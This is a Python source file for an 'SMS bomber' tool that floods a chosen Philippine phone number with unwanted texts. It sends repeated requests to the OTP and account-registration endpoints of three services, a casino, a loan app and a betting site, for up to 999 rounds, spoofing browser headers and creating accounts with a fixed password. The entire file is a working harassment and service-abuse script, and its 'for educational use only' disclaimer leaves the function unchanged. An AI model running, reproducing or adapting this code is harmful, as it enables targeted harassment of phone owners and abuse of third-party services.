import requests
import time
import sys
import os
import random
import hashlib
import string
import threading
from colorama import Fore, Style, init
init(autoreset=True)
G = Fore.GREEN
Y = Fore.YELLOW
C = Fore.CYAN
R = Fore.RED
W = Fore.WHITE
BRIGHT = Style.BRIGHT
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
def print_banner():
print(f"\n{R}{BRIGHT}{'='*60}")
print(f"{R}{BRIGHT}╔══════════════════════════════════════════════════════╗")
print(f"{R}{BRIGHT}║ ║")
print(f"{R}{BRIGHT}║ ██████╗ ██████╗ ███╗ ███╗██████╗ ║")
print(f"{R}{BRIGHT}║ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗ ║")
print(f"{R}{BRIGHT}║ ██████╔╝██║ ██║██╔████╔██║██████╔╝ ║")
print(f"{R}{BRIGHT}║ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗ ║")
print(f"{R}{BRIGHT}║ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝ ║")
print(f"{R}{BRIGHT}║ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ║")
print(f"{R}{BRIGHT}║ ║")
print(f"{R}{BRIGHT}║ {W}Author: {G}H2K ILTeach{W} {R}║")
print(f"{R}{BRIGHT}║ {W}Version: 2.0{W} {R}║")
print(f"{R}{BRIGHT}╚══════════════════════════════════════════════════════╝")
print(f"{R}{BRIGHT}{'='*60}")
def print_menu():
print(f"\n{Y}{'='*60}")
print(f"{G}{BRIGHT}{'MAIN MENU':^60}")
print(f"{Y}{'='*60}")
print(f"{G}[1] {W}Start SMS Bombing")
print(f"{G}[2] {W}Instructions")
print(f"{G}[3] {W}Exit")
print(f"{Y}{'='*60}")
def loading_animation(text):
for i in range(5):
sys.stdout.write(f"\r{C}[{'■'*i}{'□'*(5-i)}] {W}{text}")
sys.stdout.flush()
time.sleep(0.1)
sys.stdout.write("\r" + " " * 60 + "\r")
def send_sms_s5(phone):
url = "https://api.s5.com/player/api/v1/otp/request"
headers = {
'accept': 'application/json, text/plain, */*',
'origin': 'https://www.s5.com',
'referer': 'https://www.s5.com/',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36',
'x-api-type': 'external',
'x-locale': 'en',
'x-public-api-key': 'd6a6d988-e73e-4402-8e52-6df554cbfb35'
}
data = {'phone_number': phone}
try:
response = requests.post(url, headers=headers, data=data, timeout=10)
return response.status_code, "S5 Casino"
except:
return None, "S5 Casino"
def send_sms_honeyloan(phone):
url = "https://api.honeyloan.ph/api/client/registration/step-one"
headers = {
'accept': 'application/json',
'content-type': 'application/json',
'origin': 'https://honeyloan.ph',
'referer': 'https://honeyloan.ph/',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36'
}
payload = {"grant_type": "password", "phone": phone, "is_rights_block_accepted": 1}
try:
response = requests.post(url, headers=headers, json=payload, timeout=10)
return response.status_code, "HoneyLoan"
except:
return None, "HoneyLoan"
def send_sms_bet88(phone):
url = "https://bet88.ph/rest/user/create-account"
headers = {
'authority': 'bet88.ph',
'accept': 'application/json, text/plain, */*',
'content-type': 'application/json',
'origin': 'https://bet88.ph',
'referer': 'https://bet88.ph/en/?type=registration&modal=user',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36'
}
payload = {"phoneNumber": phone, "password": "Test@2024", "attributes": {}, "principal": "PHONE_NUMBER"}
try:
response = requests.post(url, headers=headers, json=payload, timeout=10)
return response.status_code, "Bet88"
except:
return None, "Bet88"
def show_instructions():
clear_screen()
print_banner()
print(f"\n{G}{'='*60}")
print(f"{G}{BRIGHT}{'INSTRUCTIONS':^60}")
print(f"{G}{'='*60}")
print(f"\n{G}1.{W} Select option 1 from main menu")
print(f"{G}2.{W} Enter target phone number")
print(f"{G}3.{W} Enter number of rounds (1-999)")
print(f"{G}4.{W} Type 'YES' to confirm")
print(f"\n{Y}Phone formats accepted:")
print(f"{W}• 09123456789")
print(f"{W}• 9123456789")
print(f"{W}• +639123456789")
print(f"{W}• 639123456789")
print(f"\n{R}For educational use only!")
print(f"{Y}{'='*60}")
input(f"\n{G}Press Enter to continue...")
def start_bombing():
clear_screen()
print_banner()
print(f"\n{G}{'='*60}")
print(f"{G}{BRIGHT}{'START BOMBING':^60}")
print(f"{G}{'='*60}")
phone_input = input(f"\n{G}➤ {W}Enter phone number: {Y}").strip()
if not phone_input or len(phone_input) < 10:
print(f"{R}Invalid phone number!")
time.sleep(2)
return
try:
rounds = int(input(f"{G}➤ {W}Enter rounds (1-999): {Y}").strip())
if rounds < 1 or rounds > 999:
print(f"{R}Enter 1-999 only!")
time.sleep(2)
return
except:
print(f"{R}Invalid input!")
time.sleep(2)
return
clean = phone_input.lstrip('+').lstrip('0').replace('63', '', 1) if phone_input.startswith(('+', '63')) else phone_input.lstrip('0')
formatted = f"0{clean}"
print(f"\n{R}Target: {Y}{formatted}")
print(f"{R}Rounds: {Y}{rounds}")
print(f"{R}Total SMS: {Y}{rounds * 3}")
confirm = input(f"\n{Y}Type 'YES' to confirm: {R}").strip().upper()
if confirm != 'YES':
print(f"{G}Cancelled!")
time.sleep(2)
return
clear_screen()
print_banner()
print(f"\n{G}{'='*60}")
print(f"{G}{BRIGHT}{'BOMBING IN PROGRESS':^60}")
print(f"{G}{'='*60}")
print(f"\n{Y}Target: {W}{formatted}")
print(f"{Y}Rounds: {W}{rounds}")
print(f"{C}{'-'*60}")
successful = 0
failed = 0
for round_num in range(1, rounds + 1):
print(f"\n{G}[{round_num:03d}/{rounds:03d}] {W}Round {round_num}")
apis = [
("S5 Casino", send_sms_s5, f"+63{clean}"),
("HoneyLoan", send_sms_honeyloan, f"0{clean}"),
("Bet88", send_sms_bet88, f"+63{clean}")
]
for name, func, phone in apis:
loading_animation(f"Sending to {name}")
status, _ = func(phone)
if status == 200:
print(f"{G}✓ {W}{name}")
successful += 1
else:
print(f"{R}✗ {W}{name}")
failed += 1
time.sleep(0.3)
if round_num < rounds:
print(f"\n{C}Next round in 2 seconds...")
time.sleep(2)
clear_screen()
print_banner()
print(f"\n{G}{'='*60}")
print(f"{G}{BRIGHT}{'MISSION COMPLETE':^60}")
print(f"{G}{'='*60}")
print(f"\n{G}✓ Successful: {W}{successful}")
print(f"{R}✗ Failed: {W}{failed}")
print(f"{C}📊 Total: {W}{rounds * 3}")
print(f"\n{Y}Target: {W}{formatted}")
print(f"{Y}Rounds: {W}{rounds}")
print(f"\n{R}💣 BOMBING COMPLETE!")
print(f"\n{G}{'='*60}")
input(f"\n{G}Press Enter to continue...")
def main():
while True:
clear_screen()
print_banner()
print_menu()
choice = input(f"\n{G}➤ {W}Select (1-3): {Y}").strip()
if choice == '1':
start_bombing()
elif choice == '2':
show_instructions()
elif choice == '3':
clear_screen()
print_banner()
print(f"\n{G}{'='*60}")
print(f"{G}{BRIGHT}{'THANK YOU FOR USING!':^60}")
print(f"{G}{'='*60}")
print(f"\n{W}Author: {G}H2K ILTeach")
print(f"{W}For educational use only")
print(f"\n{Y}{'='*60}\n")
break
else:
print(f"{R}Invalid choice!")
time.sleep(1)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n\n{R}Exiting...\n")
sys.exit(0)
except Exception as e:
print(f"{R}Error: {e}")
sys.exit(1)